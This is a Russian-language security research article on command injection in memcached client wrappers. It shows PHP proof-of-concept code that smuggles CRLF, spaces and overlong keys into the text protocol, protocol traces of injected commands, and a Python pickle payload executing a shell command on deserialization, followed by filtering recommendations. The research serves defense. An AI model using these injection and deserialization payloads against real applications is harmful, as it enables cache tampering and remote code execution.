Memcached пред­став­ляет собой рас­пре­делен­ную сис­тему кеширо­вания, став­шую очень популяр­ной в наг­ружен­ных интернет‑про­ектах. А как ты зна­ешь, с рос­том популяр­ности про­дук­та рас­тет и инте­рес к его безопас­ности. Поэто­му сегод­ня мы иссле­дуем раз­личные обер­тки к memcached для популяр­ных плат­форм раз­работ­ки веб‑при­ложе­ний и попыта­емся обна­ружить проб­лемы про­вер­ки вход­ных дан­ных (клю­чей и зна­чений), которые мог­ли бы исполь­зовать­ся для внед­рения про­изволь­ных команд в memcached-про­токол.

warning

Вся информа­ция пре­дос­тавле­на исклю­читель­но в озна­коми­тель­ных целях. Лица, исполь­зующие дан­ную информа­цию в про­тиво­закон­ных целях, могут быть прив­лечены к ответс­твен­ности.

 

Что такое memcached?

Но для начала неболь­шая ввод­ная часть. Итак, memcached — это сво­бод­ная и откры­тая высокоп­роиз­водитель­ная рас­пре­делен­ная сис­тема кеширо­вания объ­ектов в памяти. Она пред­став­ляет собой хра­нили­ще типа «ключ — зна­чение», рас­положен­ное в опе­ратив­ной памяти и пред­назна­чен­ное для неболь­ших «пор­ций» про­изволь­ных дан­ных (стро­ковых, чис­ловых, неред­ко сери­али­зован­ных объ­ектов в виде стро­ковых зна­чений), таких как резуль­таты зап­росов к БД, резуль­таты API-вызовов или генера­ции стра­ниц. Плюс memcached явля­ется пол­ностью откры­той раз­работ­кой, собира­ется и работа­ет на UNIX, Windows и OS X и рас­простра­няет­ся под откры­той лицен­зией. Ее исполь­зуют мно­гие популяр­ные веб‑про­екты, нап­ример LiveJournal, Twitter, Flickr, YouTube, Wikipedia и дру­гие. Она пред­став­ляет собой обыч­ный сетевой сер­вис c host-base аутен­тифика­цией, работа­ющий на loopback-интерфей­се на 11211-м пор­ту. Демон memcached под­держи­вает UDP- и TCP-сокеты и пре­дос­тавля­ет два раз­личных про­токо­ла для вза­имо­дей­ствия с собой: тек­сто­вый и бинар­ный. Вот, пожалуй, все, что нам пока тре­бует­ся знать о паци­енте.

 

Постановка задачи

Итак, сегод­ня мы пос­вятим вре­мя рас­смот­рению обер­ток к memcache для раз­личных плат­форм и попыта­емся про­верить их на наличие оши­бок при валида­ции вход­ных дан­ных на уров­не про­токо­ла. Рас­смат­ривать мы будем толь­ко обер­тки, под­держи­вающие тек­сто­вый про­токол memcached, те же, что работа­ют с бинар­ным, мы оста­вим за рам­ками статьи как матери­ал для будущих иссле­дова­ний. Забегая нем­ного впе­ред, ска­жу, что в качес­тве подопыт­ных кро­ликов я исполь­зовал обер­тки для сле­дующих популяр­ных плат­форм раз­работ­ки веб‑при­ложе­ний: Go, Java, Lua, PHP, Python, Ruby, .NET. Цель была пос­тарать­ся най­ти что‑то подоб­ное клас­сичес­ким инъ­екци­ям (SQL, LDAP-инъ­екци­ям) во врап­перах для тек­сто­вого про­токо­ла. Что из это­го получи­лось — читай даль­ше.

 

Текстовый протокол memcached

Но для начала поз­накомим­ся поб­лиже с тек­сто­вым про­токо­лом memcached. В основном он вклю­чает пос­ледова­тель­нос­ти команд и дан­ных, закан­чива­ющих­ся дву­мя бай­тами перево­да стро­ки (CRLF). Одна­ко нем­ного фаз­зинга и прос­того ана­лиза ис­ходно­го кода демона при­откры­вают нес­коль­ко иной фор­мат про­токо­ла:

<command>0x20<argument>(LF|CRLF)
<data>CRLF

Нуль‑байт (0х00) завер­шает любую коман­ду тек­сто­вого про­токо­ла, нап­ример:

<command>0x20<argument><NULL>any postfix data(LF|CRLF)

В жиз­ни чаще все­го встре­чают­ся слу­чаи, ког­да при­ложе­ние дает поль­зовате­лю управлять име­нами клю­чей и их зна­чени­ями (нап­ример, уста­нав­ливать их или счи­тывать). Поэто­му мы в пер­вую оче­редь сфо­куси­руем­ся на них.

В име­нах клю­чей нет зап­рещен­ных сим­волов (кро­ме, конеч­но, управля­ющих сим­волов 0x00, 0x20 и 0x0a), но есть огра­ниче­ние на мак­сималь­ную дли­ну име­ни клю­ча, которая сос­тавля­ет 250 байт.

Од­нако есть тон­кий момент, скры­вающий­ся в самом про­токо­ле: если демон опре­деля­ет пер­вую коман­ду как ко­ман­ду хра­нения, то дан­ные пос­ле LF(CRLF) будут интер­пре­тиро­ваны как дан­ные для хра­нения. В дру­гих слу­чаях дан­ные пос­ле LF (CRLF) будут интер­пре­тиро­ваны как сле­дующая коман­да. Таким обра­зом, демон, получая пос­ледова­тель­нос­ти строк, сам выбира­ет в зависи­мос­ти от кон­тек­ста, какие из них явля­ются коман­дами, а какие дан­ными.

Все коман­ды memcache мож­но условно раз­делить на сле­дующие клас­сы:

  • хра­нения (set, add, replace, append, prepend, cas);
  • чте­ния (get, gets);
  • уда­ления (delete);
  • ин­кре­мен­та/дек­ремен­та (incr, decr);
  • touch;
  • slabs reassign;
  • slabs automove;
  • lru_crawler;
  • ста­тис­тики (stats items, slabs, cachedump);
  • про­чие (version, flush_all, quit).

В сво­ем иссле­дова­нии я ста­рал­ся рас­смот­реть все эти типы, но мы сегод­ня кон­цен­три­руем­ся в основном толь­ко на тех из них, которые наибо­лее час­то исполь­зуют­ся в реаль­ных веб‑при­ложе­ниях. Это типы хра­нения и чте­ния дан­ных.

 

Пакетная инъекция (внедрение команды) — байты 0x0a/0x0d

Нач­нем с рас­смот­рения самого прос­того век­тора ата­ки — внед­рения CRLF в аргу­мент коман­ды. Нап­ример, в качес­тве име­ни клю­ча для коман­ды set. При­мер уяз­вимого кода пред­став­лен ниже. Для удобс­тва век­тор ата­ки помещен в стро­ковую кон­стан­ту. В реаль­ных при­ложе­ниях уяз­вимая конс­трук­ция будет выг­лядеть похоже на $m->set(“prefix_”.$_GET[‘key’],”data”)

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);
$m->set("key1 0 0 1\r\n1\r\nset injected 0 3600 10\r\n1234567890\r\n","1234567890",30);
?>

В дан­ном при­мере новая коман­да set помеща­ется в имя клю­ча. Обра­ти вни­мание, что пер­вым делом необ­ходимо пра­виль­но завер­шить кон­текст, для это­го мы переда­ем дли­ну, рав­ную 1, в пер­вой стро­ке, затем отправ­ляем дан­ные раз­мером 1 байт (чис­ло 1 пос­ле перено­сов строк) и уже пос­ле это­го можем начинать новый кон­текст с инжекти­рован­ной коман­дой set.

Об­мен дан­ными меж­ду кли­ентом и сер­вером в этом слу­чае будет выг­лядеть так:

> set key 0 0 1
> 1
< STORED
> set injected 0 3600 10
> 1234567890
< STORED
> 0 30 10
< ERROR
> 1234567890
< ERROR

От­метим, что это имен­но логичес­кий обмен коман­дами по про­токо­лу memcached, а не дамп сетево­го обме­на тра­фиком. Нес­ложно поп­равить век­тор ата­ки так, что­бы не выз­вать ошиб­ки на сто­роне сер­вера. В дам­пе все коман­ды от кли­ента при­дут в одном пакете в силу фраг­мента­ции, одна­ко это нис­коль­ко не нарушит саму инъ­екцию.

Рис. 1. Дамп сетевого трафика при пакетной инъекции
Рис. 1. Дамп сетево­го тра­фика при пакет­ной инъ­екции
 

Нарушение контекста парсера (интерпретация данных для хранения в качестве команды)

Это самый изящ­ный век­тор ата­ки из всех обна­ружен­ных. Тек­сто­вый про­токол обра­баты­вает зап­рос пос­троч­но. При­чем, ког­да текущая стро­ка содер­жит коман­ду записи зна­чений, нап­ример set, сле­дующая стро­ка вос­при­нима­ется как дан­ные. Это осо­бен­ность plaintext-про­токо­ла называ­ется кон­тек­стом обра­бот­ки.

Но если текущая стро­ка порож­дает ошиб­ку (нап­ример, «некор­рек­тное зна­чение клю­ча»), сле­дующая стро­ка уже будет вос­при­нята как коман­да, а не как дан­ные. Что дает ата­кующе­му воз­можность совер­шить инъ­екцию коман­ды через область дан­ных.

Об­ласть дан­ных, в отли­чие от имен клю­чей, не под­лежит никакой филь­тра­ции сог­ласно про­токо­лу, поэто­му, в час­тнос­ти, может содер­жать сколь­ко угод­но управля­ющих сим­волов, таких как перено­сы строк. При чте­нии области дан­ных демон осно­выва­ется на раз­мере дан­ных, переда­ваемом в аргу­мен­те коман­ды записи, такой как set.

Есть нес­коль­ко раз­личных спо­собов нарушить сос­тояние пар­сера, пред­намерен­но выз­вав ошиб­ку в коман­де хра­нения, передав ей:

  • имя клю­ча длин­нее 250 байт;
  • не­вер­ное чис­ло аргу­мен­тов (зависит от коман­ды, но оче­вид­но, что a a a a a a наруша­ет работу всех из них).

При­мер уяз­вимого кода пред­став­лен ниже:

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);
$m->set(str_repeat(“a”,251),"set injected 0 3600 10\r\n1234567890",30);
?>

В дан­ном при­мере наруша­ется син­таксис про­токо­ла, так как дли­на клю­ча боль­ше 250 байт, при получе­нии такой коман­ды set сер­вер выдаст ошиб­ку. Кон­текст обра­бот­чика команд перей­дет сно­ва в режим при­ема коман­ды, а кли­ент отпра­вит дан­ные, которые будут интер­пре­тиро­ваны как коман­да. В резуль­тате мы сно­ва запишем ключ injected со зна­чени­ем 1234567890.

Ана­логич­ный резуль­тат мож­но получить, отпра­вив сим­волы про­бела в име­ни клю­ча так, что­бы количес­тво аргу­мен­тов коман­ды set пре­выси­ло допус­тимый пре­дел. Нап­ример, передав в качес­тве име­ни клю­ча 1 2 3.

Об­мен дан­ными меж­ду кли­ентом и сер­вером в этом слу­чае будет выг­лядеть так:

> set 1 2 3 0 30 36
< ERROR
> set injected 0 3600 10
> 1234567890
< STORED

Дамп сетево­го тра­фика при такой ата­ке пред­став­лен на рисун­ке.

Рис. 2. Дамп сетевого трафика при нарушении контекста парсера
Рис. 2. Дамп сетево­го тра­фика при наруше­нии кон­тек­ста пар­сера
 

Внедрение аргумента — байт 0x20

Для начала взгля­нем на син­таксис команд хра­нения:

<command name> <key> <flags> <exptime> <bytes> [noreply]\r\n
cas <key> <flags> <exptime> <bytes> <cas unique> [noreply]\r\n

Пос­ледний опци­ональ­ный аргу­мент откры­вает воз­можность для инъ­екции. Все про­тес­тирован­ные драй­веры memcached не уста­нав­лива­ют аргу­мент noreply для команд хра­нения. Поэто­му зло­умыш­ленник может внед­рить про­белы (бай­ты 0х20), что­бы сдви­нуть аргу­мент exptime на мес­то bytes, что поз­воля­ет внед­рить новую коман­ду в поле дан­ных пакета (заметим, что поле дан­ных пакета не экра­ниру­ется, про­веря­ется лишь его дли­на).

Так выг­лядит нор­маль­ный пакет (сох­раня­ет ключ на 30 с, содер­жит 10 байт дан­ных, аргу­мент noreply пуст):

set key1 0 30 10
1234567890

А вот при­мер с внед­ренным про­белом (теперь ключ сох­раня­ется на 0 с, пакет содер­жит 30 байт дан­ных, 52 — дей­стви­тель­ная дли­на дан­ных, вычис­ляемая драй­вером):

set key1 0 0 30 52
123456789012345678901234567890\r\nget injectionhere111

Код, демонс­три­рующий дан­ную ата­ку, пред­став­лен ниже:

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);
// normal
$m->set("key1","1234567890",30);
// injection here, without CRLF at key
$m->set("key 0","123456789012345678901234567890\r\nset injected 0 3600 3\r\nINJ",30);
?>

В дан­ном при­мере про­бел в име­ни клю­ча дела­ет зна­чение 0 новым аргу­мен­том коман­ды set, а аргу­мен­ты, дописы­ваемые самим драй­вером, тем самым сме­щают­ся на одну позицию. В резуль­тате зна­чение 30, переда­ваемое драй­вером как вре­мя жиз­ни клю­ча, вос­при­нима­ется как дли­на области дан­ных. Некор­рек­тное опре­деле­ние дли­ны области дан­ных, в свою оче­редь, дает нам воз­можность помес­тить туда век­тор ата­ки (дан­ные никог­да не филь­тру­ются). Обмен дан­ными меж­ду кли­ентом и сер­вером в этом слу­чае будет выг­лядеть так:

> set key 0 0 30 60
> 123456789012345678901234567890
< STORED
> set injected 0 3600 3
> INJ
< STORED

Дамп сетево­го тра­фика при такой ата­ке мож­но пос­мотреть на рисун­ке.

Рис. 3. Дамп сетевого трафика при внедрении аргумента
Рис. 3. Дамп сетево­го тра­фика при внед­рении аргу­мен­та
 

Нарушение длины данных (нуль-байт)

Это ско­рее кон­цепту­аль­ная ата­ка, которая не была най­дена в иссле­дуемых обер­тках. Одна­ко она может быть обна­руже­на в раз­личных биб­лиоте­ках memcached. По сущес­тву, мы пред­полага­ем, что нуль‑байт в поле дан­ных может нарушить вычис­ление дли­ны дан­ных, выпол­няемое на уров­не драй­вера (обер­тки). При­мер (вычис­ленная дли­на дан­ных не соот­ветс­тву­ет реаль­ной дли­не — пос­ле нуль‑бай­та):

set a 0 3600 10
123456789\0\r\nset injected 0 3600 3\r\nINJ\r\n
 

Случаи манипуляции объектами

Memcached в основном исполь­зует­ся для хра­нения сери­али­зован­ных зна­чений. Поэто­му в слу­чае инъ­екции он под­вержен такому недос­татку, как CWE-502 «Десери­али­зация ненадеж­ных дан­ных». Зло­умыш­ленник может внед­рить про­изволь­ные сери­али­зован­ные дан­ные в зна­чение клю­ча и ожи­дать десери­али­зации пос­ле проч­тения их целевым при­ложе­нием.

Эф­фект от дан­ной опе­рации зависит не толь­ко от кода при­ложе­ния, но и от реали­зации механиз­ма десери­али­зации в сре­де исполне­ния в целом. Так, в слу­чае Java и PHP уяз­вимость реали­зует­ся толь­ко при небезо­пас­ных магичес­ких методах клас­сов, а для Python, нап­ротив, сра­зу же дает воз­можность исполнить про­изволь­ные коман­ды ОС без каких‑то допол­нитель­ных усло­вий.

 

PHP

На­до отме­тить, что опе­рация get() в memcache явля­ется экви­вален­том unserialize() в PHP. Таким обра­зом, инъ­екция в memcached для PHP экви­вален­тна выраже­нию unserialize($_GET[data]). Экс­плу­ата­ция таких уяз­вимос­тей в пос­леднее вре­мя активно иссле­дова­лась. Для демонс­тра­ции десери­али­зации рас­смот­рим при­мер:

<?php
class a {
function __wakeUp(){
echo "\n deserialized! \n";
}
}
$m = new Memcached();
$m->addServer('localhost', 11211);
$m->set("asd", new a());
$m->get("asd");
?>

В дан­ном слу­чае пос­ле вызова get() драй­вер сам раз­берет­ся, что воз­вра­щаемая стро­ка явля­ется сери­али­зован­ными дан­ными и десери­али­зует их в объ­ект. Это и при­ведет к вызову магичес­кого метода дес­трук­тора, который в дан­ном при­мере напеча­тает сооб­щение в кон­соль.

 

Python

Те­перь оче­редь питона. Пос­мотри на зна­чение rcedata, сох­ранен­ное в memcached:

get rcedata
VALUE rcedata 1 47
?csubprocess
Popen
qU
/usr/bin/idq?q?qRq.
END

Это клас­сичес­кий Pickle RCE экс­плойт десери­али­зации. Дан­ный код выпол­няет его:

import pylibmc
mc = pylibmc.Client(["127.0.0.1"])
b = mc.get("rcedata")

В дан­ном при­мере дан­ные при десери­али­зации вос­ста­нав­лива­ют сос­тояние пос­редс­твом фун­кции, встро­енной в сами эти дан­ные. Такая фун­кция содер­жит код выпол­нения коман­ды id в шел­ле.

 

Рассмотренные платформы и результаты

В про­цес­се иссле­дова­ния мне приш­лось про­верить мно­гие обер­тки memcached для популяр­ных плат­форм веб‑раз­работ­ки, что­бы выявить в них наличие уяз­вимос­тей к рас­смот­ренным выше ата­кам. Все получен­ные резуль­таты я сис­темати­зиро­вал, и в ито­ге у меня получи­лась сле­дующая таб­лица. В ней крас­ным цве­том выделе­ны врап­перы, в которых наличие уяз­вимос­ти было под­твержде­но. А допол­нитель­ная информа­ция по ошиб­кам про­вер­ки поль­зователь­ско­го вво­да помеще­на в ячей­ки в виде перечис­ления нефиль­тру­емых байт. Как видишь, получи­лось доволь­но мно­го крас­ного цве­та :).

Рис. 4. Список проверенных врапперов
Рис. 4. Спи­сок про­верен­ных врап­перов

Ста­ло инте­рес­но, какие же из популяр­ных веб‑при­ложе­ний будут под угро­зой из‑за того, что исполь­зуют врап­перы, содер­жащие уяз­вимость. Поэто­му я про­бежал­ся по наибо­лее исполь­зуемым при­ложе­ниям и сос­тавил сле­дующую таб­лицу. В ней опять же выделе­ны те учас­тки исходно­го кода популяр­ных веб‑при­ложе­ний, которые исполь­зуют уяз­вимые реали­зации драй­веров memcached. Если покопать еще нем­ного, то, я думаю, этот спи­сок мож­но зна­читель­но рас­ширить. Но это ты можешь сде­лать сам на досуге.

Рис. 5. Список проверенных веб-приложений
Рис. 5. Спи­сок про­верен­ных веб‑при­ложе­ний
 

Рекомендации

Хо­рошим вари­антом защиты от такого рода инъ­екций будет исполь­зование бинар­ного про­токо­ла кли­ент‑сер­верно­го вза­имо­дей­ствия. Такой под­ход исклю­чает воз­можность внед­рения команд про­токо­ла в области дан­ных или имен клю­чей, так как соп­ровож­дает­ся обя­затель­ным ука­зани­ем дли­ны зна­чений в пакете.

Клю­чевой же осо­бен­ностью plaintext-про­токо­ла явля­ется исполь­зование делими­теров, отсутс­твие про­вер­ки которых в дан­ных имен клю­чей и их зна­чени­ях и при­водит к инъ­екци­ям. Для реали­зации филь­тра­ции дан­ных сле­дует исполь­зовать сле­дующие пра­вила:

  • дли­на — 250 байт;
  • филь­тра­ция 0x00, 0x0a, 0x09, 0x0d, 0x20 байт.

При­мер хороше­го экра­ниро­вания на уров­не драй­вера (врап­пера) мож­но пос­мотреть по ссыл­ке. Я лишь при­веду неболь­шой кусок кода:

if (keyBytes.length > MemcachedClientIF.MAX_KEY_LENGTH) {
throw new IllegalArgumentException("Key is too long (maxlen = "
+ MemcachedClientIF.MAX_KEY_LENGTH + ")");
}
...
for (byte b : keyBytes) {
if (b == ' ' || b == '\n' || b == '\r' || b == 0) {
 

Выводы

Приш­ло вре­мя делать выводы. Как видишь, иссле­дова­ние драй­веров для работы с популяр­ным хра­нили­щем дан­ных memcached показа­ло их уяз­вимость. Уяз­вимос­ти в целом носят харак­тер оши­бок филь­тра­ции вход­ных парамет­ров. Прак­тичес­кая часть экс­плу­ата­ции поз­воля­ет не толь­ко внед­рять коман­ды в про­токол обме­на меж­ду сер­вером и кли­ентом, тем самым выпол­няя все дос­тупные опе­рации в рам­ках про­токо­ла (чте­ние/запись/уда­ление клю­чей и про­чие), но и задева­ет дру­гие фун­кции драй­вера, такие как десери­али­зация объ­ектов. Как было показа­но, в ряде слу­чаев небезо­пас­ная десери­али­зация дан­ных из хра­нили­ща поз­воля­ет выпол­нять про­изволь­ный код на сис­теме.

Так что теперь мож­но сме­ло ска­зать, что на memcached базы дан­ных так­же воз­можно про­вес­ти ата­ки срод­ни SQL-инъ­екции. И подоб­ные ата­ки на прак­тике будут при­водить к раз­личным резуль­татам: от обхо­да аутен­тифика­ции до выпол­нения про­изволь­ного кода интер­пре­тато­ра.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии